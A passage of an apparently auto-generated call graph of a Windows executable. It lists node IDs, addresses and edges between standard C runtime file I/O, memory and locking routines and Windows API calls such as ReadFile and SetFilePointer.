40f7fc 87004->87002 87005 40f804 87004->87005 87079 414a46 87005->87079 87009 40f80e 87009->86933 87014 4528bd 87009->87014 87011 427c59 87098 414fe2 87011->87098 87013 427c79 87015 4150d1 _fseek 81 API calls 87014->87015 87016 452930 87015->87016 87598 452719 87016->87598 87019 452948 87019->86935 87020 414d04 __fread_nolock 61 API calls 87021 452966 87020->87021 87022 414d04 __fread_nolock 61 API calls 87021->87022 87023 452976 87022->87023 87024 414d04 __fread_nolock 61 API calls 87023->87024 87025 45298f 87024->87025 87026 414d04 __fread_nolock 61 API calls 87025->87026 87027 4529aa 87026->87027 87028 4150d1 _fseek 81 API calls 87027->87028 87029 4529c4 87028->87029 87030 4135bb _malloc 46 API calls 87029->87030 87031 4529cf 87030->87031 87032 4135bb _malloc 46 API calls 87031->87032 87033 4529db 87032->87033 87034 414d04 __fread_nolock 61 API calls 87033->87034 87035 4529ec 87034->87035 87036 44afef GetSystemTimeAsFileTime 87035->87036 87037 452a00 87036->87037 87038 452a36 87037->87038 87039 452a13 87037->87039 87041 452aa5 87038->87041 87042 452a3c 87038->87042 87040 413748 _free 46 API calls 87039->87040 87043 452a1c 87040->87043 87045 413748 _free 46 API calls 87041->87045 87604 44b1a9 87042->87604 87046 413748 _free 46 API calls 87043->87046 87048 452aa3 87045->87048 87049 452a25 87046->87049 87047 452a9d 87050 413748 _free 46 API calls 87047->87050 87048->86935 87049->86935 87050->87048 87052 431e64 87051->87052 87053 431e6a 87051->87053 87054 414a46 __fcloseall 82 API calls 87052->87054 87053->86936 87054->87053 87056 425de2 87055->87056 87057 40f6fc _wcslen 87055->87057 87056->86997 87058 40f710 WideCharToMultiByte 87057->87058 87059 40f756 87058->87059 87060 40f728 87058->87060 87059->86997 87061 4115d7 52 API calls 87060->87061 87062 40f735 WideCharToMultiByte 87061->87062 87062->86997 87065 40f85d _memcpy_s _strlen 87063->87065 87066 40f7ab 87065->87066 87111 414db8 87065->87111 87067 4149c2 87066->87067 87126 414904 87067->87126 87069 40f7e9 87069->87002 87070 40f5c0 87069->87070 87074 40f5cd _strcat __write_nolock _memmove 87070->87074 87071 414d04 __fread_nolock 61 API calls 87071->87074 87072 40f691 __tzset_nolock 87072->87004 87074->87071 87074->87072 87077 425d11 87074->87077 87214 4150d1 87074->87214 87075 4150d1 _fseek 81 API calls 87076 425d33 87075->87076 87078 414d04 __fread_nolock 61 API calls 87076->87078 87077->87075 87078->87072 87080 414a52 _fseek 87079->87080 87081 414a64 87080->87081 87082 414a79 87080->87082 87354 417f77 46 API calls __getptd_noexit 87081->87354 87085 415471 __lock_file 47 API calls 87082->87085 87090 414a74 _fseek 87082->87090 87084 414a69 87355 417f25 10 API calls _fseek 87084->87355 87087 414a92 87085->87087 87338 4149d9 87087->87338 87090->87009 87423 414c76 87092->87423 87094 414d1c 87095 44afef 87094->87095 87591 442c5a 87095->87591 87097 44b00d 87097->87011 87099 414fee _fseek 87098->87099 87100 414ffa 87099->87100 87101 41500f 87099->87101 87595 417f77 46 API calls __getptd_noexit 87100->87595 87103 415471 __lock_file 47 API calls 87101->87103 87105 415017 87103->87105 87104 414fff 87596 417f25 10 API calls _fseek 87104->87596 87107 414e4e __ftell_nolock 51 API calls 87105->87107 87108 415024 87107->87108 87597 41503d RtlLeaveCriticalSection RtlLeaveCriticalSection __wfsopen 87108->87597 87110 41500a _fseek 87110->87013 87112 414dd6 87111->87112 87113 414deb 87111->87113 87122 417f77 46 API calls __getptd_noexit 87112->87122 87113->87112 87115 414df2 87113->87115 87124 41b91b 79 API calls 12 library calls 87115->87124 87116 414ddb 87123 417f25 10 API calls _fseek 87116->87123 87119 414e18 87120 414de6 87119->87120 87125 418f98 77 API calls 7 library calls 87119->87125 87120->87065 87122->87116 87123->87120 87124->87119 87125->87120 87129 414910 _fseek 87126->87129 87127 414923 87182 417f77 46 API calls __getptd_noexit 87127->87182 87129->87127 87131 414951 87129->87131 87130 414928 87183 417f25 10 API calls _fseek 87130->87183 87145 41d4d1 87131->87145 87134 414956 87135 41496a 87134->87135 87136 41495d 87134->87136 87138 414992 87135->87138 87139 414972 87135->87139 87184 417f77 46 API calls __getptd_noexit 87136->87184 87162 41d218 87138->87162 87185 417f77 46 API calls __getptd_noexit 87139->87185 87142 414933 _fseek @_EH4_CallFilterFunc@8 87142->87069 87146 41d4dd _fseek 87145->87146 87147 4182cb __lock 46 API calls 87146->87147 87154 41d4eb 87147->87154 87148 41d567 87149 416b04 __malloc_crt 46 API calls 87148->87149 87151 41d56e 87149->87151 87153 41d57c InitializeCriticalSectionAndSpinCount 87151->87153 87160 41d560 87151->87160 87152 41d5f0 _fseek 87152->87134 87155 41d59c 87153->87155 87156 41d5af RtlEnterCriticalSection 87153->87156 87154->87148 87157 418209 __mtinitlocknum 46 API calls 87154->87157 87154->87160 87190 4154b2 47 API calls __lock 87154->87190 87191 415520 RtlLeaveCriticalSection RtlLeaveCriticalSection _doexit 87154->87191 87159 413748 _free 46 API calls 87155->87159 87156->87160 87157->87154 87159->87160 87187 41d5fb 87160->87187 87163 41d23a 87162->87163 87164 41d255 87163->87164 87175 41d26c __wopenfile 87163->87175 87196 417f77 46 API calls __getptd_noexit 87164->87196 87166 41d25a 87197 417f25 10 API calls _fseek 87166->87197 87168 41d47a 87201 417f77 46 API calls __getptd_noexit 87168->87201 87169 41d48c 87193 422bf9 87169->87193 87172 41d47f 87202 417f25 10 API calls _fseek 87172->87202 87173 41499d 87186 4149b8 RtlLeaveCriticalSection RtlLeaveCriticalSection __wfsopen 87173->87186 87175->87168 87175->87175 87181 41d421 87175->87181 87198 41341f 58 API calls 2 library calls 87175->87198 87177 41d41a 87177->87181 87199 41341f 58 API calls 2 library calls 87177->87199 87179 41d439 87179->87181 87200 41341f 58 API calls 2 library calls 87179->87200 87181->87168 87181->87169 87182->87130 87183->87142 87184->87142 87185->87142 87186->87142 87192 4181f2 RtlLeaveCriticalSection 87187->87192 87189 41d602 87189->87152 87190->87154 87191->87154 87192->87189 87203 422b35 87193->87203 87195 422c14 87195->87173 87196->87166 87197->87173 87198->87177 87199->87179 87200->87181 87201->87172 87202->87173 87206 422b41 _fseek 87203->87206 87204 422b54 87205 417f77 _fseek 46 API calls 87204->87205 87207 422b59 87205->87207 87206->87204 87208 422b8a 87206->87208 87209 417f25 _fseek 10 API calls 87207->87209 87210 422400 __tsopen_nolock 109 API calls 87208->87210 87213 422b63 _fseek 87209->87213 87211 422ba4 87210->87211 87212 422bcb __wsopen_helper RtlLeaveCriticalSection 87211->87212 87212->87213 87213->87195 87216 4150dd _fseek 87214->87216 87215 4150e9 87245 417f77 46 API calls __getptd_noexit 87215->87245 87216->87215 87217 41510f 87216->87217 87227 415471 87217->87227 87220 4150ee 87246 417f25 10 API calls _fseek 87220->87246 87226 4150f9 _fseek 87226->87074 87228 415483 87227->87228 87229 4154a5 RtlEnterCriticalSection 87227->87229 87228->87229 87230 41548b 87228->87230 87231 415117 87229->87231 87232 4182cb __lock 46 API calls 87230->87232 87233 415047 87231->87233 87232->87231 87234 415067 87233->87234 87235 415057 87233->87235 87240 415079 87234->87240 87248 414e4e 87234->87248 87303 417f77 46 API calls __getptd_noexit 87235->87303 87239 41505c 87247 415143 RtlLeaveCriticalSection RtlLeaveCriticalSection __wfsopen 87239->87247 87265 41443c 87240->87265 87243 4150b9 87278 41e1f4 87243->87278 87245->87220 87246->87226 87247->87226 87249 414e61 87248->87249 87250 414e79 87248->87250 87304 417f77 46 API calls __getptd_noexit 87249->87304 87252 414139 __flush 46 API calls 87250->87252 87254 414e80 87252->87254 87253 414e66 87305 417f25 10 API calls _fseek 87253->87305 87256 41e1f4 __write 51 API calls 87254->87256 87257 414e97 87256->87257 87258 414f09 87257->87258 87260 414ec9 87257->87260 87264 414e71 87257->87264 87306 417f77 46 API calls __getptd_noexit 87258->87306 87261 41e1f4 __write 51 API calls 87260->87261 87260->87264 87262 414f64 87261->87262 87263 41e1f4 __write 51 API calls 87262->87263 87262->87264 87263->87264 87264->87240 87266 414455 87265->87266 87270 414477 87265->87270 87267 414139 __flush 46 API calls 87266->87267 87266->87270 87268 414470 87267->87268 87307 41b7b2 77 API calls 5 library calls 87268->87307 87271 414139 87270->87271 87272 414145 87271->87272 87273 41415a 87271->87273 87308 417f77 46 API calls __getptd_noexit 87272->87308 87273->87243 87275 41414a 87309 417f25 10 API calls _fseek 87275->87309 87277 414155 87277->87243 87279 41e200 _fseek 87278->87279 87280 41e223 87279->87280 87281 41e208 87279->87281 87282 41e22f 87280->87282 87288 41e269 87280->87288 87330 417f8a 46 API calls __getptd_noexit 87281->87330 87332 417f8a 46 API calls __getptd_noexit 87282->87332 87284 41e20d 87331 417f77 46 API calls __getptd_noexit 87284->87331 87287 41e234 87333 417f77 46 API calls __getptd_noexit 87287->87333 87310 41ae56 87288->87310 87291 41e26f 87293 41e291 87291->87293 87294 41e27d 87291->87294 87292 41e23c 87334 417f25 10 API calls _fseek 87292->87334 87335 417f77 46 API calls __getptd_noexit 87293->87335 87320 41e17f 87294->87320 87298 41e215 _fseek 87298->87239 87299 41e289 87337 41e2c0 RtlLeaveCriticalSection __unlock_fhandle 87299->87337 87300 41e296 87336 417f8a 46 API calls __getptd_noexit 87300->87336 87303->87239 87304->87253 87305->87264 87306->87264 87307->87270 87308->87275 87309->87277 87311 41ae62 _fseek 87310->87311 87312 41aebc 87311->87312 87315 4182cb __lock 46 API calls 87311->87315 87313 41aec1 RtlEnterCriticalSection 87312->87313 87314 41aede _fseek 87312->87314 87313->87314 87314->87291 87316 41ae8e 87315->87316 87317 41aeaa 87316->87317 87318 41ae97 InitializeCriticalSectionAndSpinCount 87316->87318 87319 41aeec ___lock_fhandle RtlLeaveCriticalSection 87317->87319 87318->87317 87319->87312 87321 41aded __close_nolock 46 API calls 87320->87321 87322 41e18e 87321->87322 87323 41e1a4 SetFilePointer 87322->87323 87324 41e194 87322->87324 87326 41e1bb GetLastError 87323->87326 87327 41e1c3 87323->87327 87325 417f77 _fseek 46 API calls 87324->87325 87328 41e199 87325->87328 87326->87327 87327->87328 87329 417f9d __dosmaperr 46 API calls 87327->87329 87328->87299 87329->87328 87330->87284 87331->87298 87332->87287 87333->87292 87334->87298 87335->87300 87336->87299 87337->87298 87339 4149ea 87338->87339 87340 4149fe 87338->87340 87384 417f77 46 API calls __getptd_noexit 87339->87384 87342 4149fa 87340->87342 87344 41443c __flush 77 API calls 87340->87344 87356 414ab2 RtlLeaveCriticalSection RtlLeaveCriticalSection __wfsopen 87342->87356 87343 4149ef 87385 417f25 10 API calls _fseek 87343->87385 87346 414a0a 87344->87346 87357 41d8c2 87346->87357 87349 414139 __flush 46 API calls 87350 414a18 87349->87350 87361 41d7fe 87350->87361 87352 414a1e 87352->87342 87353 413748 _free 46 API calls 87352->87353 87353->87342 87354->87084 87355->87090 87356->87090 87358 414a12 87357->87358 87359 41d8d2 87357->87359 87358->87349 87359->87358 87360 413748 _free 46 API calls 87359->87360 87360->87358 87362 41d80a _fseek 87361->87362 87363 41d812 87362->87363 87366 41d82d 87362->87366 87401 417f8a 46 API calls __getptd_noexit 87363->87401 87364 41d839 87403 417f8a 46 API calls __getptd_noexit 87364->87403 87366->87364 87371 41d873 87366->87371 87368 41d817 87402 417f77 46 API calls __getptd_noexit 87368->87402 87370 41d83e 87404 417f77 46 API calls __getptd_noexit 87370->87404 87373 41ae56 ___lock_fhandle 48 API calls 87371->87373 87375 41d879 87373->87375 87374 41d846 87405 417f25 10 API calls _fseek 87374->87405 87376 41d893 87375->87376 87377 41d887 87375->87377 87406 417f77 46 API calls __getptd_noexit 87376->87406 87386 41d762 87377->87386 87381 41d81f _fseek 87381->87352 87382 41d88d 87407 41d8ba RtlLeaveCriticalSection __unlock_fhandle 87382->87407 87384->87343 87385->87342 87408 41aded 87386->87408 87388 41d7c8 87421 41ad67 47 API calls 2 library calls 87388->87421 87390 41d772 87390->87388 87393 41aded __close_nolock 46 API calls 87390->87393 87400 41d7a6 87390->87400 87391 41aded __close_nolock 46 API calls 87394 41d7b2 CloseHandle 87391->87394 87392 41d7d0 87398 41d7f2 87392->87398 87422 417f9d 46 API calls 2 library calls 87392->87422 87395 41d79d 87393->87395 87394->87388 87396 41d7be GetLastError 87394->87396 87399 41aded __close_nolock 46 API calls 87395->87399 87396->87388 87398->87382 87399->87400 87400->87388 87400->87391 87401->87368 87402->87381 87403->87370 87404->87374 87405->87381 87406->87382 87407->87381 87409 41ae12 87408->87409 87410 41adfa 87408->87410 87413 417f8a __dosmaperr 46 API calls 87409->87413 87415 41ae51 87409->87415 87411 417f8a __dosmaperr 46 API calls 87410->87411 87412 41adff 87411->87412 87416 417f77 _fseek 46 API calls 87412->87416 87414 41ae23 87413->87414 87417 417f77 _fseek 46 API calls 87414->87417 87415->87390 87418 41ae07 87416->87418 87419 41ae2b 87417->87419 87418->87390 87420 417f25 _fseek 10 API calls 87419->87420 87420->87418 87421->87392 87422->87398 87424 414c82 _fseek 87423->87424 87425 414cc3 87424->87425 87426 414c96 _memcpy_s 87424->87426 87427 414cbb _fseek 87424->87427 87428 415471 __lock_file 47 API calls 87425->87428 87450 417f77 46 API calls __getptd_noexit 87426->87450 87427->87094 87430 414ccb 87428->87430 87436 414aba 87430->87436 87431 414cb0 87451 417f25 10 API calls _fseek 87431->87451 87438 414ad8 _memcpy_s 87436->87438 87442 414af2 87436->87442 87437 414ae2 87503 417f77 46 API calls __getptd_noexit 87437->87503 87438->87437 87438->87442 87447 414b2d 87438->87447 87452 414cfa RtlLeaveCriticalSection RtlLeaveCriticalSection __wfsopen 87442->87452 87443 414c38 _memcpy_s 87506 417f77 46 API calls __getptd_noexit 87443->87506 87445 414139 __flush 46 API calls 87445->87447 87447->87442 87447->87443 87447->87445 87453 41dfcc 87447->87453 87483 41d8f3 87447->87483 87505 41e0c2 46 API calls 3 library calls 87447->87505 87449 414ae7 87504 417f25 10 API calls _fseek 87449->87504 87450->87431 87451->87427 87452->87427 87454 41dfd8 _fseek 87453->87454 87455 41dfe0 87454->87455 87456 41dffb 87454->87456 87576 417f8a 46 API calls __getptd_noexit 87455->87576 87458 41e007 87456->87458 87462 41e041 87456->87462 87578 417f8a 46 API calls __getptd_noexit 87458->87578 87460 41dfe5 87577 417f77 46 API calls __getptd_noexit 87460->87577 87461 41e00c 87579 417f77 46 API calls __getptd_noexit 87461->87579 87465 41e063 87462->87465 87466 41e04e 87462->87466 87469 41ae56 ___lock_fhandle 48 API calls 87465->87469 87581 417f8a 46 API calls __getptd_noexit 87466->87581 87467 41e014 87580 417f25 10 API calls _fseek 87467->87580 87470 41e069 87469->87470 87472 41e077 87470->87472 87473 41e08b 87470->87473 87471 41e053 87582 417f77 46 API calls __getptd_noexit 87471->87582 87507 41da15 87472->87507 87583 417f77 46 API calls __getptd_noexit 87473->87583 87476 41dfed _fseek 87476->87447 87479 41e083 87585 41e0ba RtlLeaveCriticalSection __unlock_fhandle 87479->87585 87480 41e090 87584 417f8a 46 API calls __getptd_noexit 87480->87584 87484 41d900 87483->87484 87489 41d915 87483->87489 87589 417f77 46 API calls __getptd_noexit 87484->87589 87486 41d910 87486->87447 87487 41d905 87590 417f25 10 API calls _fseek 87487->87590 87489->87486 87490 41d94a 87489->87490 87586 420603 87489->87586 87492 414139 __flush 46 API calls 87490->87492 87493 41d95e 87492->87493 87494 41dfcc __read 59 API calls 87493->87494 87495 41d965 87494->87495 87495->87486 87496 414139 __flush 46 API calls 87495->87496 87497 41d988 87496->87497 87497->87486 87498 414139 __flush 46 API calls 87497->87498 87499 41d994 87498->87499 87499->87486 87500 414139 __flush 46 API calls 87499->87500 87501 41d9a1 87500->87501 87502 414139 __flush 46 API calls 87501->87502 87502->87486 87503->87449 87504->87442 87505->87447 87506->87449 87508 41da31 87507->87508 87509 41da4c 87507->87509 87510 417f8a __dosmaperr 46 API calls 87508->87510 87511 41da5b 87509->87511 87513 41da7a 87509->87513 87512 41da36 87510->87512 87514 417f8a __dosmaperr 46 API calls 87511->87514 87515 417f77 _fseek 46 API calls 87512->87515 87517 41da98 87513->87517 87529 41daac 87513->87529 87516 41da60 87514->87516 87530 41da3e 87515->87530 87520 417f77 _fseek 46 API calls 87516->87520 87518 417f8a __dosmaperr 46 API calls 87517->87518 87521 41da9d 87518->87521 87519 41db02 87523 417f8a __dosmaperr 46 API calls 87519->87523 87522 41da67 87520->87522 87525 417f77 _fseek 46 API calls 87521->87525 87526 417f25 _fseek 10 API calls 87522->87526 87524 41db07 87523->87524 87527 417f77 _fseek 46 API calls 87524->87527 87528 41daa4 87525->87528 87526->87530 87527->87528 87532 417f25 _fseek 10 API calls 87528->87532 87529->87519 87529->87530 87531 41dae1 87529->87531 87533 41db1b 87529->87533 87530->87479 87531->87519 87536 41daec ReadFile 87531->87536 87532->87530 87535 416b04 __malloc_crt 46 API calls 87533->87535 87537 41db31 87535->87537 87538 41dc17 87536->87538 87539 41df8f GetLastError 87536->87539 87542 41db59 87537->87542 87543 41db3b 87537->87543 87538->87539 87544 41dc2b 87538->87544 87540 41de16 87539->87540 87541 41df9c 87539->87541 87551 417f9d __dosmaperr 46 API calls 87540->87551 87555 41dd9b 87540->87555 87546 417f77 _fseek 46 API calls 87541->87546 87545 420494 __lseeki64_nolock 48 API calls 87542->87545 87547 417f77 _fseek 46 API calls 87543->87547 87544->87555 87557 41de5b 87544->87557 87558 41dc47 87544->87558 87548 41db67 87545->87548 87549 41dfa1 87546->87549 87550 41db40 87547->87550 87548->87536 87552 417f8a __dosmaperr 46 API calls 87549->87552 87553 417f8a __dosmaperr 46 API calls 87550->87553 87551->87555 87552->87555 87553->87530 87554 413748 _free 46 API calls 87554->87530 87555->87530 87555->87554 87556 41ded0 ReadFile 87561 41deef GetLastError 87556->87561 87568 41def9 87556->87568 87557->87555 87557->87556 87559 41dcab ReadFile 87558->87559 87564 41dd28 87558->87564 87560 41dcc9 GetLastError 87559->87560 87567 41dcd3 87559->87567 87560->87558 87560->87567 87561->87557 87561->87568 87562 41ddec MultiByteToWideChar 87562->87555 87563 41de10 GetLastError 87562->87563 87563->87540 87564->87555 87565 41dda3 87564->87565 87566 41dd96 87564->87566 87570 41dd60 87564->87570 87565->87570 87571 41ddda 87565->87571 87569 417f77 _fseek 46 API calls 87566->87569 87567->87558 87572 420494 __lseeki64_nolock 48 API calls 87567->87572 87568->87557 87573 420494 __lseeki64_nolock 48 API calls 87568->87573 87569->87555 87570->87562 87574 420494 __lseeki64_nolock 48 API calls 87571->87574 87572->87567 87573->87568 87575 41dde9 87574->87575 87575->87562 87576->87460 87577->87476 87578->87461 87579->87467 87580->87476 87581->87471 87582->87467 87583->87480 87584->87479 87585->87476 87587 416b04 __malloc_crt 46 API calls 87586->87587 87588 420618 87587->87588 87588->87490 87589->87487 87590->87486 87594 4148b3 GetSystemTimeAsFileTime __aulldiv 87591->87594 87593 442c6b 87593->87097 87594->87593 87595->87104 87596->87110 87597->87110 87603 45272f __tzset_nolock _wcscpy 87598->87603 87599 44afef GetSystemTimeAsFileTime 87599->87603 87600 414d04 61 API calls __fread_nolock 87600->87603 87601 4528a4 87601->87019 87601->87020 87602 4150d1 81 API calls _fseek 87602->87603 87603->87599 87603->87600 87603->87601 87603->87602 87605 44b1bc 87604->87605 87606 44b1ca 87604->87606 87607 4149c2 116 API calls 87605->87607 87608 44b1e1 87606->87608 87609 4149c2 116 API calls 87606->87609 87610 44b1d8 87606->87610 87607->87606 87639 4321a4 87608->87639 87611 44b2db 87609->87611 87610->87047 87611->87608 87613 44b2e9 87611->87613 87615 44b2f6 87613->87615 87619 414a46 __fcloseall 82 API calls 87613->87619 87614 44b224 87616 44b253 87614->87616 87617 44b228 87614->87617 87615->87047 87643 43213d 87616->87643 87618 44b235 87617->87618 87621 414a46 __fcloseall 82 API calls 87617->87621 87623 414a46 __fcloseall 82 API calls 87618->87623 87627 44b245 87618->87627 87619->87615 87621->87618 87622 44b25a 87624 44b260 87622->87624 87625 44b289 87622->87625 87623->87627 87628 44b26d 87624->87628 87631 414a46 __fcloseall 82 API calls 87624->87631 87653 44b0bf 87 API calls 87625->87653 87627->87047 87629 44b27d 87628->87629 87632 414a46 __fcloseall 82 API calls 87628->87632 87629->87047 87630 44b28f 87654 4320f8 46 API calls _free 87630->87654 87631->87628 87632->87629 87634 44b295 87635 44b2a2 87634->87635 87636 414a46 __fcloseall 82 API calls 87634->87636 87637 44b2b2 87635->87637 87638 414a46 __fcloseall 82 API calls 87635->87638 87636->87635 87637->87047 87638->87637 87640 4321b4 __tzset_nolock _memmove 87639->87640 87641 4321cb 87639->87641 87640->87614 87642 414d04 __fread_nolock 61 API calls 87641->87642 87642->87640 87644 4135bb _malloc 46 API calls 87643->87644 87645 432150 87644->87645 87646 4135bb _malloc 46 API calls 87645->87646 87647 432162 87646->87647 87648 4135bb _malloc 46 API calls 87647->87648 87649 432174 87648->87649 87652 432189 87649->87652 87655 4320f8 46 API calls _free 87649->87655 87651 432198 87651->87622 87652->87622 87653->87630 87654->87634 87655->87651 87656->86948 87657->86952 87658->86970 87659->86970 87660->86970 87661->86963 87662->86970 87663->86970 87664->86974 87665->86984 87666->86983 87667->86983 87717 410160 87668->87717 87670 41012f GetFullPathNameW 87671 410147 moneypunct 87670->87671 87671->86807 87673 4102cb SHGetDesktopFolder 87672->87673 87676 410333 _wcsncpy 87672->87676 87674 4102e0 _wcsncpy 87673->87674 87673->87676 87675 41031c SHGetPathFromIDListW 87674->87675 87674->87676 87675->87676 87676->86810 87678 4101bb 87677->87678 87683 425f4a 87677->87683 87679 410160 52 API calls 87678->87679 87680 4101c7 87679->87680 87721 410200 52 API calls 2 library calls 87680->87721 87681 4114ab __wcsicoll 58 API calls 87681->87683 87683->87681 87685 425f6e 87683->87685 87684 4101d6 87722 410200 52 API calls 2 library calls 87684->87722 87685->86812 87687 4101e9 87687->86812 87689 40f760 128 API calls 87688->87689 87690 40f584 87689->87690 87691 429335 87690->87691 87692 40f58c 87690->87692 87693 4528bd 118 API calls 87691->87693 87694 40f598 87692->87694 87695 429358 87692->87695 87696 42934b 87693->87696 87747 4033c0 113 API calls 7 library calls 87694->87747 87748 434034 86 API calls _wprintf 87695->87748 87700 429373 87696->87700 87701 42934f 87696->87701 87699 40f5b4 87699->86808 87704 4115d7 52 API calls 87700->87704 87703 431e58 82 API calls 87701->87703 87702 429369 87702->87700 87703->87695 87716 4293c5 moneypunct 87704->87716 87705 42959c 87706 413748 _free 46 API calls 87705->87706 87707 4295a5 87706->87707 87708 431e58 82 API calls 87707->87708 87709 4295b1 87708->87709 87713 401b10 52 API calls 87713->87716 87716->87705 87716->87713 87723 444af8 87716->87723 87726 44b41c 87716->87726 87733 402780 87716->87733 87741 4022d0 87716->87741 87749 44c7dd 64 API calls 3 library calls 87716->87749 87718 410167 _wcslen 87717->87718 87719 4115d7 52 API calls 87718->87719 87720 41017e _wcscpy 87719->87720 87720->87670 87721->87684 87722->87687 87724 4115d7 52 API calls 87723->87724 87725 444b27 _memmove 87724->87725 87725->87716 87727 44b429 87726->87727 87728 4115d7 52 API calls 87727->87728 87729 44b440 87728->87729 87730 44b45e 87729->87730 87731 401b10 52 API calls 87729->87731 87730->87716 87732 44b453 87731->87732 87732->87716 87735 402827 87733->87735 87739 402790 moneypunct _memmove 87733->87739 87734 4115d7 52 API calls 87737 402797 87734->87737 87736 4115d7 52 API calls 87735->87736 87736->87739 87738 4115d7 52 API calls 87737->87738 87740 4027bd 87737->87740 87738->87740 87739->87734 87740->87716 87742 4022e0 87741->87742 87744 40239d 87741->87744 87743 4115d7 52 API calls 87742->87743 87742->87744 87745 402320 moneypunct 87742->87745 87743->87745 87744->87716 87745->87744 87746 4115d7 52 API calls 87745->87746 87746->87745 87747->87699 87748->87702 87749->87716 87751 402417 87750->87751 87752 402539 moneypunct 87750->87752 87751->87752 87753 4115d7 52 API calls 87751->87753 87752->86816 87754 402443 87753->87754 87755 4115d7 52 API calls 87754->87755 87756 4024b4 87755->87756 87756->87752 87758 4022d0 52 API calls 87756->87758 87779 402880 95 API calls 2 library calls 87756->87779 87758->87756 87763 401566 87759->87763 87760 401794 87780 40e9a0 90 API calls 87760->87780 87763->87760 87764 4010a0 52 API calls 87763->87764 87765 40167a 87763->87765 87764->87763 87766 4017c0 87765->87766 87781 45e737 90 API calls 3 library calls 87765->87781 87766->86818 87768 40bc70 52 API calls 87767->87768 87777 40d451 87768->87777 87769 40d50f 87784 410600 52 API calls 87769->87784 87771 427c01 87785 45e737 90 API calls 3 library calls 87771->87785 87772 40e0a0 52 API calls 87772->87777 87774 401b10 52 API calls 87774->87777 87775 40d519 87775->86821 87777->87769 87777->87771 87777->87772 87777->87774 87777->87775 87782 40f310 53 API calls 87777->87782 87783 40d860 91 API calls 87777->87783 87779->87756 87780->87765 87781->87766 87782->87777 87783->87777 87784->87775 87785->87775 87786->86834 87787->86835 87789 4091c6 87788->87789 87790 42c5fe 87788->87790 87789->86893 87790->87789 87791 40bc70 52 API calls 87790->87791 87792 42c64e InterlockedIncrement 87791->87792 87793 42c665 87792->87793 87799 42c697 87792->87799 87795 42c672 InterlockedDecrement Sleep InterlockedIncrement 87793->87795 87793->87799 87794 42c737 InterlockedDecrement 87796 42c74a 87794->87796 87795->87793 87795->87799 87798 408f40 VariantClear 87796->87798 87797 42c731 87797->87794 87800 42c752 87798->87800 87799->87794 87799->87797 88072 408e80 87799->88072 88081 410c60 VariantClear moneypunct 87800->88081 87803 42c6cf 88076 45340c 85 API calls 87803->88076 87805 42c6db 87806 402160 52 API calls 87805->87806 87807 42c6e5 87806->87807 88077 45340c 85 API calls 87807->88077 87809 42c6f1 88078 40d200 52 API calls 2 library calls 87809->88078 87811 42c6fb 88079 465124 53 API calls 87811->88079 87813 42c715 87814 42c76a 87813->87814 87815 42c719 87813->87815 87816 401b10 52 API calls 87814->87816 88080 46fe32 VariantClear 87815->88080 87818 42c77e 87816->87818 87819 401980 53 API calls 87818->87819 87825 42c796 87819->87825 87820 42c812 88083 46fe32 VariantClear 87820->88083 87822 42c82a InterlockedDecrement 88084 46ff07 54 API calls 87822->88084 87824 42c864 88085 45e737 90 API calls 3 library calls 87824->88085 87825->87820 87825->87824 88082 40ba10 52 API calls 2 library calls 87825->88082 87826 42c9ec 88128 47d33e 331 API calls 87826->88128 87830 42c9fe 88129 46feb1 VariantClear VariantClear 87830->88129 87832 401980 53 API calls 87843 42c849 87832->87843 87833 42ca08 87837 401b10 52 API calls 87833->87837 87834 42c874 87838 408f40 VariantClear 87834->87838 87845 42ca59 87834->87845 87835 408f40 VariantClear 87835->87843 87836 402780 52 API calls 87836->87843 87839 42ca15 87837->87839 87840 42c891 87838->87840 87841 40c2c0 52 API calls 87839->87841 88086 410c60 VariantClear moneypunct 87840->88086 87841->87834 87843->87826 87843->87832 87843->87835 87843->87836 88087 40a780 87843->88087 87845->87845 87847 40afc4 87846->87847 87848 40b156 87846->87848 87849 40afd5 87847->87849 87850 42d1e3 87847->87850 88139 45e737 90 API calls 3 library calls 87848->88139 87853 40a780 194 API calls 87849->87853 87871 40b11a moneypunct 87849->87871 88140 45e737 90 API calls 3 library calls 87850->88140 87856 40b00a 87853->87856 87854 40b143 87854->86893 87855 42d1f8 87859 408f40 VariantClear 87855->87859 87856->87855 87860 40b012 87856->87860 87858 42d4db 87858->87858 87859->87854 87861 40b04a 87860->87861 87862 42d231 VariantClear 87860->87862 87863 40b094 moneypunct 87860->87863 87869 40b05c moneypunct 87861->87869 88141 40e270 VariantClear moneypunct 87861->88141 87862->87869 87864 40b108 87863->87864 87866 42d425 moneypunct 87863->87866 87864->87871 88142 40e270 VariantClear moneypunct 87864->88142 87865 42d45a VariantClear 87865->87871 87866->87865 87866->87871 87869->87863 87870 4115d7 52 API calls 87869->87870 87870->87863 87871->87854 88143 45e737 90 API calls 3 library calls 87871->88143 87873 408fff 87872->87873 87875 40900d 87872->87875 88144 403ea0 52 API calls __cinit 87873->88144 87877 42c3f6 87875->87877 87879 42c44a 87875->87879 87880 40a780 194 API calls 87875->87880 87881 42c47b 87875->87881 87884 42c564 87875->87884 87886 42c4cb 87875->87886 87887 42c548 87875->87887 87892 409112 87875->87892 87894 4090df 87875->87894 87896 42c528 87875->87896 87898 4090ea 87875->87898 87906 4090f2 moneypunct 87875->87906 88146 4534e3 52 API calls 87875->88146 88148 40c4e0 194 API calls 87875->88148 88147 45e737 90 API calls 3 library calls 87877->88147 88149 45e737 90 API calls 3 library calls 87879->88149 87880->87875 88150 451b42 61 API calls 87881->88150 87888 408f40 VariantClear 87884->87888 88152 47faae 233 API calls 87886->88152 88155 45e737 90 API calls 3 library calls 87887->88155 87888->87906 87889 42c491 87889->87906 88151 45e737 90 API calls 3 library calls 87889->88151 87891 42c4da 87891->87906 88153 45e737 90 API calls 3 library calls 87891->88153 87892->87887 87901 40912b 87892->87901 87894->87898 87899 408e80 VariantClear 87894->87899 88154 45e737 90 API calls 3 library calls 87896->88154 87902 408f40 VariantClear 87898->87902 87899->87898 87901->87906 88145 403e10 53 API calls 87901->88145 87902->87906 87904 40914b 87905 408f40 VariantClear 87904->87905 87905->87906 87906->86893 88156 408d90 87907->88156 87909 408cf9 87910 429778 87909->87910 87913 42976c 87909->87913 87915 408d2d 87909->87915 88185 410c60 VariantClear moneypunct 87910->88185 87912 429780 88184 45e737 90 API calls 3 library calls 87913->88184 88172 403d10 87915->88172 87918 408d71 moneypunct 87918->86893 87919 408f40 VariantClear 87920 408d45 moneypunct 87919->87920 87920->87918 87920->87919 87922 4096c6 _wcslen 87921->87922 87923 40a70c moneypunct _memmove 87922->87923 87924 4115d7 52 API calls 87922->87924 87927 4013a0 52 API calls 87923->87927 87925 4096fa _memmove 87924->87925 87926 4115d7 52 API calls 